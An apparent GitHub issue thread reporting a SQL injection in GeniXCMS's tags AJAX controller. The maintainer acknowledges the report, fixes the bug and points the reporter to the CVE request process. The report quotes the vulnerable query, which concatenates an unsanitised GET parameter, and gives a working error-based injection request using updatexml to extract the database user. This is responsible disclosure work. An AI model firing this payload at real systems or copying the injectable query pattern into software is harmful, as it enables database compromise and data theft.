safety problem

[l3m0n]

/inc/lib/Control/Ajax/tags-ajax.control.php

if (isset($_GET['token']) && Token::isExist($_GET['token'])) {
    if (User::access(2)) {
        $tags = Db::result(
            "SELECT * FROM `cat` WHERE `type` = 'tag' AND `name` LIKE '".$_GET['term']."%' ORDER BY `name` ASC"
        );

I think you know this.

    public static $group = array(
        '0' => ADMINISTRATOR,
        '1' => SUPERVISOR,
        '2' => EDITOR,
        '3' => AUTHOR,
        '4' => CONTRIBUTOR,
        '5' => VIP_MEMBER,
        '6' => GENERAL_MEMBER, );

but it need editor.

this is my exp:
GET /code-src/GeniXCMS/GeniXCMS-master/?ajax=tags&token=vv4lHNZit2KJUJEIqUKn3S1CRvr5Wb8smp6ir3ujyj7iijC6t0GvfpLgSW0a3xGicHSXTH6IW1BCeUlt&term=a'%20and%20updatexml(1,(select+USER()),1)%23

[semplon]

thank you for reporting this. i'll fix this on the next commit.

[l3m0n]

You're welcome.In fact, I would like to apply for CVE, I do not know this?

[semplon]

@l3m0n to request CVE please do this step https://cve.mitre.org/cve/request_id.html

[semplon]

this issue fixed